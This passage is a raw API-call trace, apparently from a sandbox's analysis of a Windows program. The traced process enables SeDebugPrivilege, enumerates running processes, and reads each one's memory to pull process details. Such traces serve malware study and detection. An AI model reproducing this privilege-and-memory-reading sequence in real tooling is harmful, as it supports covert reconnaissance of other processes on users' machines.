_BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4576") returned 4 [0354.262] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.262] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.264] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11e0) returned 0xa9c [0354.264] GetLastError () returned 0x0 [0354.264] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.264] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x280018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.264] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.264] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.264] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2228, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.265] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.265] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.265] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x280020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.265] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.265] malloc (_Size=0x6a) returned 0xea9420 [0354.266] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2290, lpBuffer=0xea9420, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9420*, lpNumberOfBytesRead=0x0) returned 1 [0354.266] free (_Block=0xea9420) [0354.267] CloseHandle (hObject=0xa9c) returned 1 [0354.269] free (_Block=0x2410080) [0354.275] malloc (_Size=0x48) returned 0xea7610 [0354.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ed6c8 | out: lpSystemTimeAsFileTime=0x5ed6c8*(dwLowDateTime=0x8d3f61a7, dwHighDateTime=0x1dac836)) [0354.276] SetEvent (hEvent=0x404) returned 1 [0357.488] SetEvent (hEvent=0x404) returned 1 [0357.489] free (_Block=0xea7610) [0357.489] GetCurrentThread () returned 0xfffffffffffffffe [0357.489] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x5ed690 | out: TokenHandle=0x5ed690*=0xa9c) returned 1 [0357.489] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x5ed6cc | out: lpLuid=0x5ed6cc*(LowPart=0x14, HighPart=0)) returned 1 [0357.490] RtlRestoreLastWin32Error () returned 0x2ad000 [0357.490] AdjustTokenPrivileges (in: TokenHandle=0xa9c, DisableAllPrivileges=0, NewState=0x5ed6c8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0357.490] GetLastError () returned 0x0 [0357.490] CloseHandle (hObject=0xa9c) returned 1 [0357.490] malloc (_Size=0x8000) returned 0xe9afd0 [0357.491] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xe9afd0, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0xe9afd0, ResultLength=0x0) returned 0xc0000004 [0357.493] free (_Block=0xe9afd0) [0357.493] malloc (_Size=0x10000) returned 0xeced60 [0357.493] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0357.496] free (_Block=0xeced60) [0357.496] malloc (_Size=0x18000) returned 0xeced60 [0357.496] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0357.498] free (_Block=0xeced60) [0357.498] malloc (_Size=0x20000) returned 0xf1af50 [0357.499] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xf1af50, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0xf1af50, ResultLength=0x0) returned 0xc0000004 [0357.504] free (_Block=0xf1af50) [0357.504] malloc (_Size=0x28000) returned 0x2410080 [0357.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2410080, Length=0x28000, ResultLength=0x0 | out: SystemInformation=0x2410080, ResultLength=0x0) returned 0x0 [0357.509] _ui64tow_s (in: _Value=0x0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0357.509] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="0") returned 1 [0357.509] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x97b9, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.509] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.510] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0357.510] CloseHandle (hObject=0x0) returned 0 [0357.510] _ui64tow_s (in: _Value=0x4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0357.510] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4") returned 1 [0357.511] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.511] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.511] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0357.511] CloseHandle (hObject=0x0) returned 0 [0357.512] _ui64tow_s (in: _Value=0x48, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="72") returned 0x0 [0357.512] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="72") returned 2 [0357.512] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.512] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.513] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x48) returned 0x0 [0357.513] CloseHandle (hObject=0x0) returned 0 [0357.513] _ui64tow_s (in: _Value=0x164, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="356") returned 0x0 [0357.513] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="356") returned 3 [0357.513] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.513] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.514] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x164) returned 0x0 [0357.515] CloseHandle (hObject=0x0) returned 0 [0357.516] _ui64tow_s (in: _Value=0x1c4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="452") returned 0x0 [0357.516] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="452") returned 3 [0357.516] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.516] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.517] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x0 [0357.517] CloseHandle (hObject=0x0) returned 0 [0357.517] _ui64tow_s (in: _Value=0x208, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="520") returned 0x0 [0357.517] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="520") returned 3 [0357.517] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.517] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.518] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x208) returned 0x0 [0357.519] CloseHandle (hObject=0x0) returned 0 [0357.519] _ui64tow_s (in: _Value=0x210, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0357.519] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="528") returned 3 [0357.519] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.519] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.520] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x0 [0357.520] CloseHandle (hObject=0x0) returned 0 [0357.520] _ui64tow_s (in: _Value=0x24c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="588") returned 0x0 [0357.521] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="588") returned 3 [0357.521] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.521] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.522] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x24c) returned 0xa9c [0357.522] GetLastError () returned 0x0 [0357.522] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.522] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.522] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.522] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581f00, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.522] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c00, lpBuffer=0x5ec5a0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.523] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.523] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.523] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.523] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5815b0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.523] malloc (_Size=0x1c) returned 0xecd810 [0357.523] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c42, lpBuffer=0xecd810, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd810*, lpNumberOfBytesRead=0x0) returned 1 [0357.523] free (_Block=0xecd810) [0357.523] CloseHandle (hObject=0xa9c) returned 1 [0357.524] _ui64tow_s (in: _Value=0x264, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="612") returned 0x0 [0357.524] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="612") returned 3 [0357.524] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.524] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.525] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x264) returned 0x0 [0357.525] CloseHandle (hObject=0x0) returned 0 [0357.525] _ui64tow_s (in: _Value=0x26c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="620") returned 0x0 [0357.525] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="620") returned 3 [0357.525] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.525] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.526] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x26c) returned 0xa9c [0357.526] GetLastError () returned 0x0 [0357.526] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.526] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x245018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.526] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.527] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403b00, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.527] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403758, lpBuffer=0x5ec5a0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.527] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.527] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.527] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x245020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.527] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403110, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.527] malloc (_Size=0x3e) returned 0xea8100 [0357.528] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403794, lpBuffer=0xea8100, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8100*, lpNumberOfBytesRead=0x0) returned 1 [0357.529] free (_Block=0xea8100) [0357.529] CloseHandle (hObject=0xa9c) returned 1 [0357.529] _ui64tow_s (in: _Value=0x2cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="716") returned 0x0 [0357.530] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="716") returned 3 [0357.530] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.530] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.531] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0xa9c [0357.531] GetLastError () returned 0x0 [0357.531] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.531] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xd14018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.531] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.531] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf923a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.531] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf92058, lpBuffer=0x5ec5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.531] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.532] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.532] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xd14020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.532] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf91a10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.532] malloc (_Size=0x26) returned 0xecd2d0 [0357.532] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf920a0, lpBuffer=0xecd2d0, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd2d0*, lpNumberOfBytesRead=0x0) returned 1 [0357.533] free (_Block=0xecd2d0) [0357.533] CloseHandle (hObject=0xa9c) returned 1 [0357.533] _ui64tow_s (in: _Value=0x2d4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="724") returned 0x0 [0357.534] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="724") returned 3 [0357.534] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.534] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.535] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d4) returned 0xa9c [0357.535] GetLastError () returned 0x0 [0357.535] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x83d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae23a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae2058, lpBuffer=0x5ec5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.535] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.536] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.536] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x83d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.536] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae1a10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.536] malloc (_Size=0x26) returned 0xecd480 [0357.536] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae20a0, lpBuffer=0xecd480, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd480*, lpNumberOfBytesRead=0x0) returned 1 [0357.537] free (_Block=0xecd480) [0357.537] 